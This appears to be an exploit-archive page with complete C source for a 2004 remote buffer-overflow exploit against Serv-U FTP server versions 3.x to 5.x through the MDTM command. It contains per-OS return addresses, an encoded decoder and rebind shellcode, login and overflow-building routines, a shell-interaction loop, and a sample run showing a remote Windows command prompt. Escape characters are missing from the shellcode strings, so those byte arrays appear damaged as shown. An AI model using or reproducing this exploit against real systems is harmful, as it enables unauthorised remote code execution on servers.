[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Serv-U FTPD 3.x/4.x/5.x (MDTM) Remote Overflow Exploit
# Published : 2004-02-27
# Author : Sam
# Previous Title : WFTPD Server <= 3.21 Remote Buffer Overflow Exploit
# Next Title : IPSwitch IMail LDAP Daemon Remote Buffer Overflow Exploit


/* ex_servu.c - Serv-U FTPD 3.x/4.x/5.x "MDTM" Command remote overflow exploit
*
* Copyright (c) SST 2004 All rights reserved.
*
* Public version
*
* BUG find by bkbll (bkbll@cnhonker.com), cool! :ppPPppPPPpp :D
*
* code by Sam and  2004/01/07
*      <chen_xiaobo@venustech.com.cn>
*                     <Sam@0x557.org>
*                    
*
* Revise History:
*      2004/01/14 add rebind shellcode :> we can bind shellport at ftpd port.
*      2004/01/09 connect back shellcode added :)
*      2004/01/08 21:04 upgrade now :), we put shellcode in file parameter
*       we can attack pacthed serv-U;PPPp by airsupply
*  2004/01/08 change shellcode working on serv-u 4.0/4.1/4.2 now 
*      :D thx airsupply
*
* Compile: gcc -o ex_servu ex_servu.c
*
* how works?
* [root@core exp]# ./sv -h 192.168.10.119 -t 3
* Serv-U FTPD 3.x/4.x MDTM Command remote overflow exploit
* bug find by bkbll (bkbll@cnhonker.com) code by Sam (Sam@0x557.org)
*
* # Connecting......
*  [+] Connected.
*  [*] USER ftp .
*  [*] 10 bytes send.
*  [*] PASS sst@SERV-u .
*  [*] 17 bytes send.
*  [+] login success .
*  [+] remote version: Serv-U v4.x with Windows XP EN SP1
*  [+] trigger vulnerability !
*   [+] 1027 bytes overflow strings sent!
*  [+] successed!!
*
*
*  Microsoft Windows XP [Version 5.1.2600]
*  (C) Copyright 1985-2001 Microsoft Corp.
*
*  [Sam Chen@SAM C:]#
*
*
* some thanks/greets to:
* bkbll (he find this bug :D), airsupply, kkqq, icbm
* and everyone else who's KNOW SST;P
* http://0x557.org
*/

#include <stdio.h>
#include <unistd.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
#include <fcntl.h>
#include <sys/time.h>

#define VER "v5.0"

#define clearbit(buff)          bzero(buff, sizeof (buff));
#define padding(buff, a)        memset(buff, a, sizeof (buff));

#define MAX_LEN         2048
#define MAX_NUM         4

int     x = 0, port = 21, shellport;
char    pass[20], user[20];

struct archs {
       char            *desc;
       unsigned int    magic;

}architectures[] = {


       {
               "Serv-U v3.x/4.x/5.x  with Windows 2K CN",   //winmm.dll
               0x77535985

       },
        {
               "Serv-U v3.x/4.x/5.x  with Windows 2K BIG5 version",   //winmm.dll
                0x77531790

       },
       {
               "Serv-U v3.x/4.x/5.x  with Windows 2K EN",
               0x77575985

       },

       {
               "Serv-U v3.x/4.x/5.x  with Windows XP CN SP1",
               0x76b12f69

       },
       {
               "Serv-U v3.x/4.x/5.x  with Windows XP EN SP1",
               0x76b42a3a

}

};

char decoder [] =
/* 36 bytes cool decoder by airsupply :) */

"x90x90x90x5Ex5Fx5BxBEx52x52x49x41x46xBFx52x52x31"
"x41x47x43x39x3Bx75xFBx4Bx80x33x99x39x73xFCx75xF7"
"xFFxD3x90x90";

/* fork + rebind shellcode  by airsupply (one way shellcode) */
char    shellcode [] =

"x53x52x49x41"

/*port offset 120 + 4*/
"xFDx38xA9x99x99x99x12xD9x95x12xD9x85x12x99x12xD9"
"x91x18x75x19x98x99x99x12x65x12x76x32x70x8Bx9Bx99"
"x99xC7xAAx50x28x90x66xEEx65x71xB9x98x99x99xF1xF5"
"xF5x99x99xF1xAAxABxB7xFDxF1xEExEAxABxC6xCDx66xCC"
"x9Dx32xAAx50x28x9Cx66xEEx65x71x99x98x99x99x12x6C"
"x71x94x98x99x99xAAx66x18x75x09x98x99x99xCDxF1x98"
"x98x99x99x66xCFxB5xC9xC9xC9xC9xD9xC9xD9xC9x66xCF"
"xA9x12x41xCExCExF1x9Bx99x8Cx5Bx12x55xCAxC8xF3x8F"
"xC8xCAx66xCFxADxC0xC2x1Cx59xECx68xCExCAx66xCFxA1"
"xCExC8xCAx66xCFxA5x12x49x10x1FxD9x98x99x99xF1xFC"
"xE1xFCx99xF1xFAxF4xFDxB7x10x3FxA9x98x99x99x1Ax75"
"xCDx14xA5xBDxAAx59xAAx50x1Ax58x8Cx32x7Bx64x5FxDD"
"xBDx89xDDx67xDDxBDxA5x67xDDxBDxA4x10xCDxBDxD1x10"
"xCDxBDxD5x10xCDxBDxC9x14xDDxBDx89x14x27xDDx98x99"
"x99xCExC9xC8xC8xC8xD8xC8xD0xC8xC8x66x2FxA9x98x99"
"x99xC8x66xCFx91xAAx59xD1xC9x66xCFx95xCAxCCxCFxCE"
"x12xF5xBDx81x12xDCxA5x12xCDx9CxE1x9Ax4Cx12xD3x81"
"x12xC3xB9x9Ax44x7AxA9xD0x12xADx12x9Ax6CxAAx66x65"
"xAAx59x35xA3x79xEDx9Ex58x56x9Ex9Ax61x72x6BxA2xE5"
"xBDx8DxECx78x12xC3xBDx9Ax44xFFx12x95xD2x12xC3x85"
"x9Ax44x12x9Dx12x9Ax5CxC6xC7xC4xC2x5Bx9Dx99xC8x66"
"xEDxBDx91x34xC9x71x3Bx66x66x66x1Ax5Dx9DxC0x32x7B"
"x74x5AxF1xFCxE1xFCx99xF1xFAxF4xFDxB7x10x3FxA9x98"
"x99x99x1Ax75xCDx14xA5xBDxAAx59xAAx50x1Ax58x8Cx32"
"x7Bx64x5FxDDxBDx89xDDx67xDDxBDxA5x67xDDxBDxA4x10"
"xDDxBDxD1x10xDDxBDxD5x10xDDxBDxC9x14xDDxBDx89x14"
"x27xDDx98x99x99xCExC9xC8xC8xF3x9DxC8xC8xC8x66x2F"
"xA9x98x99x99xC8x66xCFx91x18x75x99x9Dx99x99xF1x9E"
"x99x98x99xCDx66x2FxD1x98x99x99x66xCFx89xF3xD9xF1"
"x99x89x99x99xF1x99xC9x99x99xF3x99x66x2FxDDx98x99"
"x99x66xCFx8Dx10x1DxBDx21x99x99x99x10x1DxBDx2Dx99"
"x99x99x12x15xBDxF9x9Dx99x99x5ExD8x62x09x09x09x09"
"x5FxD8x66x09x1Ax70xCCxF3x99xF1x99x89x99x99xC8xC9"
"x66x2FxDDx98x99x99x66xCFx81xCDx66x2FxD1x98x99x99"
"x66xCFx85x66x2FxD1x98x99x99x66xCFxB9xAAx59xD1xC9"
"x66xCFx95x71x70x64x66x66xABxEDx08x95x50x25x3FxF2"
"x16x6Bx81xF8x51xCExD6x88x68xE2x05x76xC1x96xD8x0E"
"x51xCExD6x8Ex4Fx15x07x6AxFAx10x48xD6xA4xF3x2Dx19"
"xB4xABxE1x47xFDx89x3Ex44x95x06x4AxD2x28x87x0Ex98"
"x06x06x06x06"
"x53x52x31x41";


/* new:
* tcp connect with no block socket, host to ip.
* millisecond timeout, it's will be fast.
*;D
* 2003/06/23 add by Sam
*/
int new_tcpConnect (char *host, unsigned int port, unsigned int timeout)
{
       int                     sock,
                               flag,
                               pe = 0;
       size_t                  pe_len;
       struct timeval          tv;
       struct sockaddr_in      addr;
       struct hostent*         hp = NULL;
       fd_set                  rset;

       // reslov hosts
       hp = gethostbyname (host);
       if (NULL == hp) {
               perror ("tcpConnect:gethostbynamen");
               return -1;
       }

       sock = socket (AF_INET, SOCK_STREAM, 0);
       if (-1 == sock) {
               perror ("tcpConnect:socketn");
               return -1;
       }

       addr.sin_addr = *(struct in_addr *) hp->h_addr;
       addr.sin_family = AF_INET;
       addr.sin_port = htons (port);

       /* set socket no block
        */
       flag = fcntl (sock, F_GETFL);
       if (-1 == flag) {
               perror ("tcpConnect:fcntln");
               close (sock);
               return -1;
       }

       flag |= O_NONBLOCK;
       if (fcntl (sock, F_SETFL, flag) < 0) {
               perror ("tcpConnect:fcntln");
               close (sock);
               return -1;
       }

       if (connect (sock, (const struct sockaddr *) &addr,
                           sizeof(addr)) < 0 &&
           errno != EINPROGRESS) {
               perror ("tcpConnect:connectn");
               close (sock);
               return -1;
       }

       /* set connect timeout
        * use millisecond
        */
       tv.tv_sec = timeout/1000;
       tv.tv_usec = timeout%1000;

       FD_ZERO (&rset);
       FD_SET (sock, &rset);

       if (select (sock+1, &rset, &rset, NULL, &tv) <= 0) {
//                perror ("tcpConnect:select");
               close (sock);
               return -1;
       }

       pe_len = sizeof (pe);

       if (getsockopt (sock, SOL_SOCKET, SO_ERROR, &pe, &pe_len) < 0) {
               perror ("tcpConnect:getsockoptn");
               close (sock);
               return -1;
       }

       if (pe != 0) {
               errno = pe;
               close (sock);
               return -1;
       }

       if (fcntl(sock, F_SETFL, flag&~O_NONBLOCK) < 0) {
               perror ("tcpConnect:fcntln");
               close (sock);
               return -1;
       }

       pe = 1;
       pe_len = sizeof (pe);

       if (setsockopt (sock, IPPROTO_TCP, TCP_NODELAY, &pe, pe_len) < 0){
               perror ("tcpConnect:setsockoptn");
               close (sock);
               return -1;
       }

       return sock;
}

/* rip code, from hsj */
int sh (int in, int out, int s)
{
       char    sbuf[128], rbuf[128];
       int     i,
               ti, fd_cnt,
               ret=0, slen=0, rlen=0;
       fd_set  rd, wr;

       fd_cnt = in > out ? in : out;
       fd_cnt = s > fd_cnt ? s : fd_cnt;
       fd_cnt ++;

       for (;;) {
               FD_ZERO (&rd);
               if (rlen < sizeof (rbuf))
                       FD_SET (s, &rd);
               if (slen < sizeof (sbuf))
                       FD_SET (in, &rd);

               FD_ZERO (&wr);
               if (slen)
                       FD_SET (s, &wr);
               if (rlen)
                       FD_SET (out, &wr);

               if ((ti = select (fd_cnt, &rd, &wr, 0, 0)) == (-1))
                       break;
               if (FD_ISSET (in, &rd)) {
                       if((i = read (in, (sbuf+slen),
                       (sizeof (sbuf) - slen))) == (-1)) {
                               ret = -2;
                               break;
                       }
                       else if (i == 0) {
                               ret = -3;
                               break;
                       }
                       slen += i;
                       if (!(--ti))
                               continue;
               }
               if (FD_ISSET (s, &wr)) {
                       if ((i = write (s, sbuf, slen)) == (-1))
                               break;
                       if (i == slen)
                               slen = 0;
                       else {
                               slen -= i;
                               memmove (sbuf, sbuf + i, slen);
                       }
                       if (!(--ti))
                               continue;
               }
               if (FD_ISSET (s, &rd)) {
                       if ((i = read (s, (rbuf + rlen),
                       (sizeof (rbuf) - rlen))) <= 0)
                               break;
                       rlen += i;
                       if (!(--ti))
                               continue;
               }
               if (FD_ISSET (out, &wr)) {
                       if ((i = write (out, rbuf, rlen)) == (-1))
                               break;
                       if (i == rlen)
                               rlen = 0;
                       else {
                               rlen -= i;
                               memmove (rbuf, rbuf+i, rlen);
                       }
               }
       }
       return ret;
}


int new_send (int fd, char *buff, size_t len)
{
       int     ret;

       if ((ret = send (fd, buff, len, 0)) <= 0) {
               perror ("new_write");
               return -1;
       }

       return ret;

}

int new_recv (int fd, char *buff, size_t len)
{
       int     ret;

       if ((ret = recv (fd, buff, len, 0)) <= 0) {
               perror ("new_recv");
               return -1;
       }

       return ret;
}

int ftp_login (char *hostName, short port, char *user, char *pass)
{
       int     ret, sock;
       char    buff[MAX_LEN];

       fprintf (stderr, "# Connecting...... n");
       if ((sock = new_tcpConnect (hostName, port, 4000)) <= 0) {
               fprintf (stderr, "[-] failed. n");
               return -1;
       }

       clearbit (buff);

       new_recv (sock, buff, sizeof (buff) - 1);
       if (!strstr (buff, "220")) {
               fprintf (stderr, "[-] failed. n");
               return -1;
       }
       fprintf (stderr, "[+] Connected. n");

       sleep (1);
       fprintf (stderr, "[*] USER %s .n", user);
       clearbit (buff);
       snprintf (buff, sizeof (buff), "USER %srn",  user);
       ret = new_send (sock, buff, strlen (buff));
       fprintf (stderr, "[*] %d bytes send. n", ret);

       sleep (1);

       clearbit (buff);
       new_recv (sock, buff, sizeof (buff) - 1);
       if (!strstr (buff, "331")) {
               fprintf (stderr, "[-] user failed. n%sn", buff);
               return -1;
       }

       fprintf (stderr, "[*] PASS %s .n", pass);
       clearbit (buff);
       snprintf (buff, sizeof (buff), "PASS %srn", pass);
       ret = new_send (sock, buff, strlen (buff));
       fprintf (stderr, "[*] %d bytes send. n", ret);

       sleep (1);

       clearbit (buff);
       new_recv (sock, buff, sizeof (buff) - 1);
       if (!strstr (buff, "230")) {
               fprintf (stderr, "[-] pass failed. n%sn", buff);
               return -1;
       }

       fprintf (stderr, "[+] login success .n");

       return sock;

}

void do_overflow (int sock)
{
       int             ret, i;
       unsigned short newport;
       char    Comand [MAX_LEN] = {0}, chmodBuffer [600], rbuf[256];

       clearbit (Comand);
       clearbit (rbuf);

       clearbit (chmodBuffer);
       
       for(i = 0; i < 47; i++) 
        strcat(chmodBuffer, "a");
for(i = 0; i < 16; i += 8) {
        *(unsigned int*)&chmodBuffer[47+i] = 0x06eb9090;
        *(unsigned int*)&chmodBuffer[51+i] = architectures[x].magic; //0x1002bd78;  //pop reg pop reg ret
}


newport = htons (shellport)^(unsigned short)0x9999;
memcpy (&shellcode[120 + 4], &newport, 2);

 strcat(chmodBuffer, decoder);
 

       fprintf (stderr, "[+] remote version: %sn", architectures[x].desc);

       fprintf (stderr, "[+] trigger vulnerability !n ");
       strcpy (Comand, "MDTM 20031111111111+");
       strncat (Comand, chmodBuffer, strlen (chmodBuffer) - 1);
       strcat (Comand, " ");


       strcat (Comand, shellcode);
      
       strcat (Comand, "hacked_by.sstrn");

       ret =  new_send (sock, Comand, strlen (Comand));
       fprintf (stderr, "[+] %d bytes overflow strings sent!n", ret);


       return;
}

/* print help messages.
* just show ya how to use.
*/
void showHELP (char *p)
{
       int     i;

       fprintf (stderr, "Usage: %s [Options] n", p);
       fprintf (stderr, "Options:n"
               "t-h [remote host]tremote hostn"
               "t-P [server port]tserver portn"
               "t-t [system type]tchoice the system typen"
               "t-u [user   name]tlogin with this usernamen"
               "t-p [pass   word]tlogin with this passwdn"
               "t-d [shell  port]trebind using this port (default: ftpd port)nn");


       printf ("num . descriptionn");
       printf ("----+-----------------------------------------------"
               "--------n");
       for (i = 0; i <= MAX_NUM; i ++) {
               printf ("%3d | %sn", i, architectures[i].desc);
       }
       printf ("    'n");
       return;
}

int main (int c, char *v[])
{
       int             ch, fd, sd;
       char     *hostName = NULL, *userName = "ftp", *passWord = "sst@SERV-u";
       shellport  = port;
       

       fprintf (stderr, "Serv-U FTPD 3.x/4.x/5.x MDTM Command remote overflow exploit "VER"n"
               "bug find by bkbll (bkbll@cnhonker.net) code by Sam (Sam@0x557.org)nn");

       if (c < 2) {
               showHELP (v[0]);
               exit (1);
       }

       while((ch = getopt(c, v, "h:t:u:p:P:c:d:")) != EOF) {
               switch(ch) {
                       case 'h':
                               hostName = optarg;
                               break;
                       case 't':
                               x = atoi (optarg);
                               if (x > MAX_NUM) {
                                       printf ("[-] wtf your input?n");
                                       exit (-1);
                               }
                               break;
                       case 'u':
                               userName = optarg;
                               break;
                       case 'p':
                               passWord = optarg;
                               break;
                       case 'P':
                        port = atoi (optarg);
                        break;
                       case 'd':
                        shellport = atoi (optarg);
                        break;
                       default:
                               showHELP (v[0]);
                               return 0;
               }
       }


       fd = ftp_login (hostName, port, userName, passWord);
       if (fd <= 0) {
               printf ("[-] can't connnectn");
               exit (-1);
       }

       do_overflow (fd);

close (fd);
 
       sleep (3);
      
       sd = new_tcpConnect (hostName, shellport, 3000);
       if (sd <= 0) {
               printf ("[-] failedn");
               return -1;
       }

       fprintf (stderr, "[+] successed!!nnn");
       sh (0, 1, sd);

       close (sd);

       return 0;
}



// www.Syue.com [2004-02-27]